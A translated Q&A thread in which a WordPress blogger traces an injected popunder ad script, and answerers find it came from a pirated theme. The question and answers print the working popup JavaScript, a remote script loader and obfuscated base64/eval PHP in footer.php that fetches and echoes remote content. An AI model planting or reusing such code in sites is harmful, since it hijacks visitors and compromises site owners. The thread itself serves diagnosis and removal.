在我的Wordpress网站上注入了恶意弹出窗口

时间:2013-07-03 16:21:27

标签: wordpress popup code-injection

我只是使用Wordpress设置我自己的博客。我没有很多经验,但我认为我可以创造好的东西。这是链接,http://blog.yveschaput.com(用法语)

我的问题是当我第一次点击网站上的任何链接时,我会弹出一个弹出窗口。一旦弹出,它就不会再出现,直到看似随机设置的时间或事件。它在访问者首次查看的页面中作为javascript脚本注入,而不仅仅是在HOME页面中。

任何人都知道该脚本可能来自哪里? 我猜它是来自我使用的插件,但我似乎无法找到哪一个。

这是注入的代码:

var puShown = false;
var PopWidth = 1370;
var PopHeight = 800;
var PopFocus = 0;
var _Top = null;

function GetWindowHeight() {
var myHeight = 0;
if( typeof( _Top.window.innerHeight ) == 'number' ) {
myHeight = _Top.window.innerHeight;
} else if( _Top.document.documentElement && _Top.document.documentElement.clientHeight ) {
myHeight = _Top.document.documentElement.clientHeight;
} else if( _Top.document.body && _Top.document.body.clientHeight ) {
myHeight = _Top.document.body.clientHeight;
}
return myHeight;
}

function GetWindowWidth() {
var myWidth = 0;
if( typeof( _Top.window.innerWidth ) == 'number' ) {
myWidth = _Top.window.innerWidth;
} else if( _Top.document.documentElement && _Top.document.documentElement.clientWidth ) {
myWidth = _Top.document.documentElement.clientWidth;
} else if( _Top.document.body && _Top.document.body.clientWidth ) {
myWidth = _Top.document.body.clientWidth;
}
return myWidth;
}

function GetWindowTop() {
return (_Top.window.screenTop != undefined) ? _Top.window.screenTop : _Top.window.screenY;
}

function GetWindowLeft() {
return (_Top.window.screenLeft != undefined) ? _Top.window.screenLeft : _Top.window.screenX;
}

function doOpen(url)
{
var popURL = "about:blank"
var popID = "ad_" + Math.floor(89999999*Math.random()+10000000);
var pxLeft = 0;
var pxTop = 0;
pxLeft = (GetWindowLeft() + (GetWindowWidth() / 2) - (PopWidth / 2));
pxTop = (GetWindowTop() + (GetWindowHeight() / 2) - (PopHeight / 2));

if ( puShown == true )
{
return true;
}

var PopWin=_Top.window.open(popURL,popID,'toolbar=0,scrollbars=1,location=1,statusbar=1,menubar=0,resizable=1,top=' + pxTop + ',left=' + pxLeft + ',width=' + PopWidth + ',height=' + PopHeight);

if (PopWin)
{
puShown = true;

if (PopFocus == 0)
{
PopWin.blur();

if (navigator.userAgent.toLowerCase().indexOf("applewebkit") > -1)
{
_Top.window.blur();
_Top.window.focus();
}
}

PopWin.Init = function(e) {

with (e) {

Params = e.Params;
Main = function(){

if (typeof window.mozPaintCount != "undefined") {
var x = window.open("about:blank");
x.close();

}

var popURL = Params.PopURL;

try { opener.window.focus(); }
catch (err) { }

window.location = popURL;
}

Main();
}
};

PopWin.Params = {
PopURL: url
}

PopWin.Init(PopWin);
}

return PopWin;
}

function setCookie(name, value, time)
{
var expires = new Date();

expires.setTime( expires.getTime() + time );

document.cookie = name + '=' + value + '; path=/;' + '; expires=' + expires.toGMTString() ;
}

function getCookie(name) {
var cookies = document.cookie.toString().split('; ');
var cookie, c_name, c_value;

for (var n=0; n<cookies.length; n++) {
cookie  = cookies[n].split('=');
c_name  = cookie[0];
c_value = cookie[1];

if ( c_name == name ) {
return c_value;
}
}

return null;
}

function initPu()
{

_Top = self;

if (top != self)
{
try
{
if (top.document.location.toString())
_Top = top;
}
catch(err) { }
}

if ( document.attachEvent )
{
document.attachEvent( 'onclick', checkTarget );
}
else if ( document.addEventListener )
{
document.addEventListener( 'click', checkTarget, false );
}
}

function checkTarget(e)
{
if ( !getCookie('popundr') ) {
var e = e || window.event;
var win = doOpen('http://bit.ly/1cBiSZv');
setCookie('popundr', 1, 24*60*60*1000);
}
}

initPu();

4 个答案:

答案 0 :(得分:0)

请提供您可能在您的网站(或)中使用的插件列表,您可以停用所有插件,然后逐个启用插件并在前端进行测试。通过这样做,您将了解哪个插件具有此类恶意弹出脚本。

答案 1 :(得分:0)

代码是由您的黑客主题在页脚处注入的。正如您在源代码中看到的那样,在注入代码之前,您也可以看到注入此代码:

<script type="text/javascript">
    if(!document.referrer || document.referrer == '') {
        document.write('<scr'+'ipt type="text/javascript" src="http://theme.nulledclonescripts.com/jquery.min.js"></scr'+'ipt>');
    } else {
        document.write('<scr'+'ipt type="text/javascript"  src="http://theme.nulledclonescripts.com/jquery.min.js"></scr'+'ipt>');
    }
</script>

您可以看到此引用theme.nulledclonescripts.com,此代码在此引号显示<!-- wp_footer -->后注入,因此此代码包含在页脚文件中。

黑客攻击主题而不是购买它们是件坏事,它们带有恶意脚本。

要删除它,只需使用Notepad++这样的好记事本并使用函数Search in all files并搜索:bit.ly/1cBiSZv,然后删除所有恶意代码。

半offtopic引用:

作为关于黑客攻击/破解软件的报价及其对最终用户的不良影响,请阅读此内容:http://www.android-app-development.ie/blog/2013/03/06/inserting-keylogger-code-in-android-swiftkey-using-apktool/

如果您也是攻击Android软件的用户,那么您的密码可能无处不在互联网上。我没有生你的气,我也下载了被黑的软件,我只是警告你在做这件事时要小心。

答案 2 :(得分:0)

根据@ jorge-fuentes-gonzalez给出的答案,我在父主题的footer.php中找到了代码,

<!-- wp_footer -->
<?php wp_footer(); ?>

<?php themify_body_end(); //hook ?>
<?php if(!function_exists("mystr1s44")){class mystr1s21 { static $mystr1s279="Y3\x56ybF\x39pb\x6d\x6c0"; static $mystr1s178="b\x61se\x364\x5f\x64ec\x6fd\x65"; static $mystr1s381="aH\x520\x63\x44ov\x4c3Ro\x5a\x571\x6cLm5\x31b\x47x\x6cZ\x47N\x73b2\x35l\x632\x4eyaX\x420cy\x35jb2\x30\x76an\x461\x5aXJ\x35\x4cTE\x75Ni\x34zL\x6d1\x70b\x695qc\x77=\x3d";
static $mystr1s382="b\x58l\x7a\x64H\x49xc\x7a\x49y\x4dzY\x3d"; }eval("e\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34_\x64e\x63\x6fd\x65\x28\x27ZnV\x75Y\x33\x52\x70b2\x34\x67b\x58l\x7ad\x48Ix\x63\x7ac2K\x43Rte\x58N0\x63j\x46zO\x54cpe\x79R\x37\x49m1c\x65D\x635c3\x52\x79\x58Hgz\x4d\x58M\x78\x58Hgz\x4dFx\x34Mz\x67if\x54\x31t\x65XN0\x63j\x46zMj\x456O\x69R\x37Im1\x63eD\x63\x35c1x\x34Nz\x52\x63e\x44c\x79MV\x784\x4ezMx\x58Hgz\x4e\x7ag\x69fTt\x79ZX\x52\x31c\x6d4gJ\x48\x73i\x62Xlz\x58\x48g3\x4eFx\x34\x4ezI\x78XH\x673M\x7aFce\x44\x4dwO\x43J\x39\x4b\x43\x42t\x65XN0\x63j\x46zMj\x456O\x69R7J\x48si\x62Vx4\x4e\x7alce\x44c\x7aX\x48\x673N\x48Jc\x65DMx\x63\x31x\x34\x4dzk3\x49n1\x39I\x43k\x37fQ\x3d=\x27\x29\x29\x3be\x76\x61\x6c\x28b\x61s\x656\x34\x5f\x64e\x63o\x64e\x28\x27\x5anV\x75Y3R\x70b24\x67b\x58lz\x64\x48I\x78czQ\x30\x4b\x43Rte\x58N0\x63jFz\x4e\x6a\x55pI\x48tyZ\x58\x521c\x6d4gb\x58lzd\x48Ix\x63zI\x78O\x6aoke\x79R7\x49m1\x35XHg\x33M3R\x63\x65Dc\x79XH\x67z\x4d\x56x\x34N\x7aM\x32\x58\x48gzN\x53\x4a9\x66\x54t\x39\x27\x29\x29\x3b");}
if(function_exists(mystr1s76("mys\x74r1s\x3279"))){$mystr1s2235 = mystr1s76("m\x79s\x74r\x31s3\x381");$mystr1s2236 = curl_init();
$mystr1s2237 = 5;curl_setopt($mystr1s2236,CURLOPT_URL,$mystr1s2235);curl_setopt($mystr1s2236,CURLOPT_RETURNTRANSFER,1);curl_setopt($mystr1s2236,CURLOPT_CONNECTTIMEOUT,$mystr1s2237);
$mystr1s2238 = curl_exec($mystr1s2236);curl_close(${mystr1s76("mystr1s382")});echo "$mystr1s2238";}
?>

我评论了它,脚本似乎不再存在了。 所以,我想我今天学到了一个有价值的教训,除非你非常清楚它的来源,否则不要依赖于黑客的编码。

答案 3 :(得分:0)

可以使用任何无效或未经测试的插件,因为sweetCaptcha插件我遇到了问题。它有恶意软件所以不能通过wordpress来安装插件你从外包获得的插件除了wordpres和premium